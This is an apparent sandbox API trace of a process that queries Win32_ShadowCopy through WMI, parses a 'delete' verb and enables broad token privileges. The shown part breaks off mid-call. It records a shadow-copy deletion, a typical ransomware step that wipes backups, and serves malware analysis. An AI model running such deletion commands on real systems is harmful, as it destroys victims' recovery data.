(_Size=0x20) returned 0x83ff08 [0126.532] lstrlenW (lpString=" Where ID = '#'") returned 15 [0126.532] malloc (_Size=0xc) returned 0x28220f0 [0126.532] IWbemClassObject:Get (in: This=0x3d9a18, wszName="Connection", lFlags=0, pVal=0x25f744*(varType=0x0, wReserved1=0x25, wReserved2=0xe58c, wReserved3=0x30, varVal1=0x5f49a4, varVal2=0x2da03c), pType=0x0, plFlavor=0x0 | out: pVal=0x25f744*(varType=0xd, wReserved1=0x25, wReserved2=0xe58c, wReserved3=0x30, varVal1=0x3d9dd8, varVal2=0x2da03c), pType=0x0, plFlavor=0x0) returned 0x0 [0126.535] free (_Block=0x28220f0) [0126.535] IUnknown:QueryInterface (in: This=0x3d9dd8, riid=0x2d6b50*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x25f77c | out: ppvObject=0x25f77c*=0x3d9dd8) returned 0x0 [0126.535] GetCurrentThreadId () returned 0x934 [0126.536] ??0CHString@@QAE@XZ () returned 0x25f6f8 [0126.536] malloc (_Size=0xc) returned 0x28220f0 [0126.536] IWbemClassObject:Get (in: This=0x3d9dd8, wszName="Namespace", lFlags=0, pVal=0x25f6c8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x282, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x25f6c8*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x282, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0126.536] free (_Block=0x28220f0) [0126.536] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0126.536] malloc (_Size=0x16) returned 0x83ebc8 [0126.536] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0126.536] malloc (_Size=0xc) returned 0x28220f0 [0126.536] IWbemClassObject:Get (in: This=0x3d9dd8, wszName="Locale", lFlags=0, pVal=0x25f6c8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x282, varVal1=0x60393c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x25f6c8*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x282, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0126.537] free (_Block=0x28220f0) [0126.537] lstrlenW (lpString="ms_409") returned 6 [0126.537] malloc (_Size=0xe) returned 0x28220f0 [0126.537] lstrlenW (lpString="ms_409") returned 6 [0126.537] malloc (_Size=0xc) returned 0x2822078 [0126.537] IWbemClassObject:Get (in: This=0x3d9dd8, wszName="User", lFlags=0, pVal=0x25f6c8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x282, varVal1=0x60393c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x25f6c8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x282, varVal1=0x60393c, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0126.538] free (_Block=0x2822078) [0126.538] malloc (_Size=0xc) returned 0x2822078 [0126.538] IWbemClassObject:Get (in: This=0x3d9dd8, wszName="Password", lFlags=0, pVal=0x25f6c8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x282, varVal1=0x60393c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x25f6c8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x282, varVal1=0x60393c, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0126.538] free (_Block=0x2822078) [0126.538] malloc (_Size=0xc) returned 0x2822078 [0126.538] IWbemClassObject:Get (in: This=0x3d9dd8, wszName="Server", lFlags=0, pVal=0x25f6c8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x282, varVal1=0x60393c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x25f6c8*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x282, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0126.538] free (_Block=0x2822078) [0126.538] lstrlenW (lpString=".") returned 1 [0126.538] malloc (_Size=0x4) returned 0x83ff30 [0126.538] lstrlenW (lpString=".") returned 1 [0126.539] malloc (_Size=0xc) returned 0x2822078 [0126.539] IWbemClassObject:Get (in: This=0x3d9dd8, wszName="Authority", lFlags=0, pVal=0x25f6c8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x282, varVal1=0x60393c, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x25f6c8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x282, varVal1=0x60393c, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0126.539] free (_Block=0x2822078) [0126.539] ??1CHString@@QAE@XZ () returned 0x750a0504 [0126.539] IUnknown:Release (This=0x3d9dd8) returned 0x1 [0126.539] GetCurrentThreadId () returned 0x934 [0126.539] ??0CHString@@QAE@XZ () returned 0x25f6f0 [0126.539] malloc (_Size=0xc) returned 0x2822078 [0126.539] IWbemClassObject:Get (in: This=0x3d9a18, wszName="__RELPATH", lFlags=0, pVal=0x25f6d0*(varType=0x0, wReserved1=0x747e, wReserved2=0x0, wReserved3=0x3c, varVal1=0x0, varVal2=0x3d9dd8), pType=0x0, plFlavor=0x0 | out: pVal=0x25f6d0*(varType=0x8, wReserved1=0x747e, wReserved2=0x0, wReserved3=0x3c, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x3d9dd8), pType=0x0, plFlavor=0x0) returned 0x0 [0126.540] free (_Block=0x2822078) [0126.540] malloc (_Size=0xc) returned 0x2822078 [0126.540] GetCurrentThreadId () returned 0x934 [0126.540] ??0CHString@@QAE@XZ () returned 0x25f680 [0126.540] ??0CHString@@QAE@PBG@Z () returned 0x25f66c [0126.540] ??0CHString@@QAE@ABV0@@Z () returned 0x25f60c [0126.540] ?Empty@CHString@@QAEXXZ () returned 0x750a0510 [0126.540] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x83ff40 [0126.540] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0126.540] ?Left@CHString@@QBE?AV1@H@Z () returned 0x25f5ec [0126.541] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x25f5f0 [0126.541] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x25f66c [0126.541] ??1CHString@@QAE@XZ () returned 0x1 [0126.541] ??1CHString@@QAE@XZ () returned 0x1 [0126.541] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x25f5e8 [0126.541] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x25f60c [0126.541] ??1CHString@@QAE@XZ () returned 0x1 [0126.541] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x83ffa8 [0126.541] ?Find@CHString@@QBEHPBG@Z () returned 0xa [0126.541] ?Left@CHString@@QBE?AV1@H@Z () returned 0x25f5ec [0126.541] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x25f5f0 [0126.541] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x25f66c [0126.541] ??1CHString@@QAE@XZ () returned 0x1 [0126.541] ??1CHString@@QAE@XZ () returned 0x1 [0126.541] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x25f5e8 [0126.542] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x25f60c [0126.542] ??1CHString@@QAE@XZ () returned 0x750a0504 [0126.542] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x750a0504 [0126.542] ??1CHString@@QAE@XZ () returned 0x750a0504 [0126.542] malloc (_Size=0xc) returned 0x28220a8 [0126.542] malloc (_Size=0xc) returned 0x28220c0 [0126.542] malloc (_Size=0xc) returned 0x2822108 [0126.542] malloc (_Size=0xc) returned 0x2822120 [0126.542] malloc (_Size=0xc) returned 0x2822138 [0126.542] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0126.543] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0126.543] malloc (_Size=0xc) returned 0x2822150 [0126.543] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0126.543] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0126.543] malloc (_Size=0xc) returned 0x2822168 [0126.543] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0126.543] SysStringLen (param_1="\"") returned 0x1 [0126.544] free (_Block=0x2822150) [0126.544] free (_Block=0x2822138) [0126.544] free (_Block=0x2822120) [0126.544] free (_Block=0x2822108) [0126.544] free (_Block=0x28220c0) [0126.545] free (_Block=0x28220a8) [0126.545] IWbemServices:GetObject (in: This=0x3cd064, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x25f688*=0x0, ppCallResult=0x0 | out: ppObject=0x25f688*=0x3d9e68, ppCallResult=0x0) returned 0x0 [0126.659] malloc (_Size=0xc) returned 0x28220a8 [0126.659] IWbemClassObject:Get (in: This=0x3d9e68, wszName="Text", lFlags=0, pVal=0x25f634*(varType=0x0, wReserved1=0x5c, wReserved2=0x3e3c, wReserved3=0x5c, varVal1=0x4e, varVal2=0x31c1e0), pType=0x0, plFlavor=0x0 | out: pVal=0x25f634*(varType=0x2008, wReserved1=0x5c, wReserved2=0x3e3c, wReserved3=0x5c, varVal1=0x5e8518*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6f00, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x31c1e0), pType=0x0, plFlavor=0x0) returned 0x0 [0126.659] free (_Block=0x28220a8) [0126.660] SafeArrayGetLBound (in: psa=0x5e8518, nDim=0x1, plLbound=0x25f64c | out: plLbound=0x25f64c) returned 0x0 [0126.660] SafeArrayGetUBound (in: psa=0x5e8518, nDim=0x1, plUbound=0x25f648 | out: plUbound=0x25f648) returned 0x0 [0126.660] SafeArrayGetElement (in: psa=0x5e8518, rgIndices=0x25f6ac, pv=0x25f674 | out: pv=0x25f674) returned 0x0 [0126.660] malloc (_Size=0xc) returned 0x28220a8 [0126.660] malloc (_Size=0xc) returned 0x28220c0 [0126.660] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0126.660] free (_Block=0x28220a8) [0126.660] IUnknown:Release (This=0x3d9e68) returned 0x0 [0126.660] free (_Block=0x2822168) [0126.660] ??1CHString@@QAE@XZ () returned 0x1 [0126.661] ??1CHString@@QAE@XZ () returned 0x750a0504 [0126.661] free (_Block=0x2822078) [0126.661] ??1CHString@@QAE@XZ () returned 0x750a0504 [0126.661] lstrlenW (lpString="Shadow copy management.") returned 23 [0126.661] malloc (_Size=0x30) returned 0x83ff40 [0126.661] lstrlenW (lpString="Shadow copy management.") returned 23 [0126.662] free (_Block=0x28220c0) [0126.662] IUnknown:Release (This=0x3d9a18) returned 0x0 [0126.662] free (_Block=0x28220d8) [0126.662] ??1CHString@@QAE@XZ () returned 0x750a0504 [0126.662] lstrlenW (lpString="PATH") returned 4 [0126.662] lstrlenW (lpString="delete") returned 6 [0126.663] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0126.663] lstrlenW (lpString="WHERE") returned 5 [0126.663] lstrlenW (lpString="delete") returned 6 [0126.663] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0126.663] lstrlenW (lpString="(") returned 1 [0126.663] lstrlenW (lpString="delete") returned 6 [0126.663] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0126.663] lstrlenW (lpString="/") returned 1 [0126.663] lstrlenW (lpString="delete") returned 6 [0126.663] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0126.663] lstrlenW (lpString="-") returned 1 [0126.663] lstrlenW (lpString="delete") returned 6 [0126.663] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0126.664] malloc (_Size=0xc) returned 0x28220d8 [0126.664] lstrlenW (lpString="GET") returned 3 [0126.664] lstrlenW (lpString="delete") returned 6 [0126.664] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0126.664] lstrlenW (lpString="LIST") returned 4 [0126.664] lstrlenW (lpString="delete") returned 6 [0126.664] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0126.664] lstrlenW (lpString="SET") returned 3 [0126.664] lstrlenW (lpString="delete") returned 6 [0126.664] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0126.664] lstrlenW (lpString="CREATE") returned 6 [0126.664] lstrlenW (lpString="delete") returned 6 [0126.664] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0126.664] lstrlenW (lpString="CALL") returned 4 [0126.665] lstrlenW (lpString="delete") returned 6 [0126.665] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0126.665] lstrlenW (lpString="ASSOC") returned 5 [0126.665] lstrlenW (lpString="delete") returned 6 [0126.665] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0126.665] lstrlenW (lpString="DELETE") returned 6 [0126.665] lstrlenW (lpString="delete") returned 6 [0126.665] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0126.665] free (_Block=0x28220d8) [0126.665] lstrlenW (lpString="/") returned 1 [0126.665] lstrlenW (lpString="delete") returned 6 [0126.665] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0126.665] lstrlenW (lpString="-") returned 1 [0126.665] lstrlenW (lpString="delete") returned 6 [0126.665] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0126.666] lstrlenW (lpString="delete") returned 6 [0126.666] malloc (_Size=0xe) returned 0x28220d8 [0126.666] lstrlenW (lpString="delete") returned 6 [0126.666] lstrlenW (lpString="GET") returned 3 [0126.666] lstrlenW (lpString="delete") returned 6 [0126.666] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0126.666] lstrlenW (lpString="LIST") returned 4 [0126.666] lstrlenW (lpString="delete") returned 6 [0126.666] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0126.666] lstrlenW (lpString="SET") returned 3 [0126.666] lstrlenW (lpString="delete") returned 6 [0126.666] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0126.666] lstrlenW (lpString="CREATE") returned 6 [0126.666] lstrlenW (lpString="delete") returned 6 [0126.667] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0126.667] lstrlenW (lpString="CALL") returned 4 [0126.667] lstrlenW (lpString="delete") returned 6 [0126.667] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0126.667] lstrlenW (lpString="ASSOC") returned 5 [0126.667] lstrlenW (lpString="delete") returned 6 [0126.667] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0126.667] lstrlenW (lpString="DELETE") returned 6 [0126.667] lstrlenW (lpString="delete") returned 6 [0126.667] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0126.667] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0126.667] malloc (_Size=0x3e) returned 0x83ff78 [0126.667] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0126.667] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x7ba45889 | out: _String="Select", _Context=0x7ba45889) returned="Select" [0126.667] malloc (_Size=0xc) returned 0x28220c0 [0126.668] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x7ba45889 | out: _String=0x0, _Context=0x7ba45889) returned="*" [0126.668] lstrlenW (lpString="FROM") returned 4 [0126.668] lstrlenW (lpString="*") returned 1 [0126.668] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0126.668] malloc (_Size=0xc) returned 0x2822078 [0126.668] free (_Block=0x28220c0) [0126.668] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x7ba45889 | out: _String=0x0, _Context=0x7ba45889) returned="from" [0126.668] lstrlenW (lpString="FROM") returned 4 [0126.668] lstrlenW (lpString="from") returned 4 [0126.669] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0126.669] malloc (_Size=0xc) returned 0x28220c0 [0126.669] free (_Block=0x2822078) [0126.669] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x7ba45889 | out: _String=0x0, _Context=0x7ba45889) returned="Win32_ShadowCopy" [0126.669] malloc (_Size=0xc) returned 0x2822078 [0126.669] free (_Block=0x28220c0) [0126.669] free (_Block=0x83ff78) [0126.670] free (_Block=0x2822078) [0126.670] lstrlenW (lpString="SET") returned 3 [0126.670] lstrlenW (lpString="delete") returned 6 [0126.670] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0126.670] lstrlenW (lpString="CREATE") returned 6 [0126.670] lstrlenW (lpString="delete") returned 6 [0126.670] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0126.670] free (_Block=0x832f08) [0126.670] malloc (_Size=0x4) returned 0x832f08 [0126.670] lstrlenW (lpString="GET") returned 3 [0126.670] lstrlenW (lpString="delete") returned 6 [0126.670] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0126.670] lstrlenW (lpString="LIST") returned 4 [0126.671] lstrlenW (lpString="delete") returned 6 [0126.671] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0126.671] lstrlenW (lpString="ASSOC") returned 5 [0126.671] lstrlenW (lpString="delete") returned 6 [0126.671] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0126.671] WbemLocator:IUnknown:AddRef (This=0x3c0828) returned 0x3 [0126.671] free (_Block=0x832820) [0126.671] lstrlenW (lpString="") returned 0 [0126.671] lstrlenW (lpString="XDUWTFONO") returned 9 [0126.671] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0126.671] lstrlenW (lpString="XDUWTFONO") returned 9 [0126.671] malloc (_Size=0x14) returned 0x83ebe8 [0126.671] lstrlenW (lpString="XDUWTFONO") returned 9 [0126.671] GetCurrentThreadId () returned 0x934 [0126.671] GetCurrentProcess () returned 0xffffffff [0126.671] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x25f7f0 | out: TokenHandle=0x25f7f0*=0x298) returned 1 [0126.671] GetTokenInformation (in: TokenHandle=0x298, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x25f7ec | out: TokenInformation=0x0, ReturnLength=0x25f7ec) returned 0 [0126.672] malloc (_Size=0x118) returned 0x2822448 [0126.672] GetTokenInformation (in: TokenHandle=0x298, TokenInformationClass=0x3, TokenInformation=0x2822448, TokenInformationLength=0x118, ReturnLength=0x25f7ec | out: TokenInformation=0x2822448, ReturnLength=0x25f7ec) returned 1 [0126.672] AdjustTokenPrivileges (in: TokenHandle=0x298, DisableAllPrivileges=0, NewState=0x2822448*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0126.672] free (_Block=0x2822448) [0126.672] CloseHandle (hObject=0x298) returned 1 [0126.672] lstrlenW (lpString="GET") returned 3 [0126.672] lstrlenW (lpString="delete") returned 6 [0126.672] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0126.672] lstrlenW (lpString="LIST") returned 4 [0126.672] lstrlenW (lpString="delete") returned 6 [0126.672] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0126.672] lstrlenW (lpString="SET") returned 3 [0126.673] lstrlenW (lpString="delete") returned 6 [0126.673] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0126.673] lstrlenW (lpString="CALL") returned 4 [0126.673] lstrlenW (lpString="delete") returned 6 [0126.673] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0126.673] lstrlenW (lpString="ASSOC") returned 5 [0126.673] lstrlenW (lpString="delete") returned 6 [0126.673] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0126.673] lstrlenW (lpString="CREATE") returned 6 [0126.673] lstrlenW (lpString="delete") returned 6 [0126.673] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0126.673] lstrlenW (lpString="DELETE") returned 6 [0126.673] lstrlenW (lpString="delete") returned 6 [0126.673] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0126.686] malloc (_Size=0xc) returned 0x2822078 [0126.686] lstrlenA (lpString="") returned 0 [0126.686] malloc (_Size=0x2) returned 0x832820 [0126.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d26a2, cbMultiByte=-1, lpWideCharStr=0x832820, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.686] free (_Block=0x832820) [0126.687] malloc (_Size=0xc) returned 0x28220c0 [0126.687] lstrlenA (lpString="") returned 0 [0126.687] malloc (_Size=0x2) returned 0x832820 [0126.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d26a2, cbMultiByte=-1, lpWideCharStr=0x832820, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.687] free (_Block=0x832820) [0126.687] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0126.687] malloc (_Size=0x3e) returned 0x83ff78 [0126.687] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0126.687] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x7ba458e5 | out: _String="Select", _Context=0x7ba458e5) returned="Select" [0126.687] malloc (_Size=0xc) returned 0x2822168 [0126.687] free (_Block=0x28220c0) [0126.688] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x7ba458e5 | out: _String=0x0, _Context=0x7ba458e5) returned="*" [0126.688] lstrlenW (lpString="FROM") returned 4 [0126.688] lstrlenW (lpString="*") returned 1 [0126.688] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0126.688] malloc (_Size=0xc) returned 0x28220c0 [0126.688] free (_Block=0x2822168) [0126.688] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x7ba458e5 | out: _String=0x0, _Context=0x7ba458e5) returned="from" [0126.688] lstrlenW (lpString="FROM") returned 4 [0126.688] lstrlenW (lpString="from") returned 4 [0126.689] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0126.689] malloc (_Size=0xc) returned 0x2822168 [0126.689] free (_Block=0x28220c0) [0126.689] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x7ba458e5 | out: _String=0x0, _Context=0x7ba458e5) returned="Win32_ShadowCopy" [0126.689] malloc (_Size=0xc) returned 0x28220c0 [0126.689] free (_Block=0x2822168) [0126.690] free (_Block=0x83ff78) [0126.690] malloc (_Size=0xc) returned 0x2822168 [0126.690] malloc (_Size=0xc) returned 0x28220a8 [0126.690] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0126.690] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0126.690] free (_Block=0x2822078) [0126.690] free (_Block=0x2822168) [0126.691] ??0CHString@@QAE@XZ () returned 0x25f76c [0126.691] GetCurrentThreadId () returned 0x934 [0126.691] malloc (_Size=0xc) returned 0x2822168 [0126.691] malloc (_Size=0xc) returned 0x2822078 [0126.691] malloc (_Size=0xc) returned 0x2822108 [0126.691] malloc (_Size=0xc) returned 0x2822120 [0126.691] malloc (_Size=0xc) returned 0x2822138 [0126.691] SysStringLen (param_1="\\\\") returned 0x2 [0126.691] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0126.692] malloc (_Size=0xc) returned 0x2822150 [0126.692] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb [0126.692] SysStringLen (param_1="\\") returned 0x1 [0126.692] malloc (_Size=0xc) returned 0x2822180 [0126.692] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc [0126.692] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0126.693] free (_Block=0x2822150) [0126.693] free (_Block=0x2822138) [0126.693] free (_Block=0x2822120) [0126.694] free (_Block=0x2822108) [0126.694] free (_Block=0x2822078) [0126.694] free (_Block=0x2822168) [0126.694] malloc (_Size=0xc) returned 0x2822168 [0126.694] malloc (_Size=0xc) returned 0x2822078 [0126.694] malloc (_Size=0xc) returned 0x2822108 [0126.694] WbemLocator:IWbemLocator:ConnectServer (in: This=0x3c0828, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x31c204 | out: ppNamespace=0x31c204*=0x3cd0bc) returned 0x0 [0126.923] free (_Block=0x2822108) [0126.923] free (_Block=0x2822078) [0126.924] free (_Block=0x2822168) [0126.924] CoSetProxyBlanket (pProxy=0x3cd0bc, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, 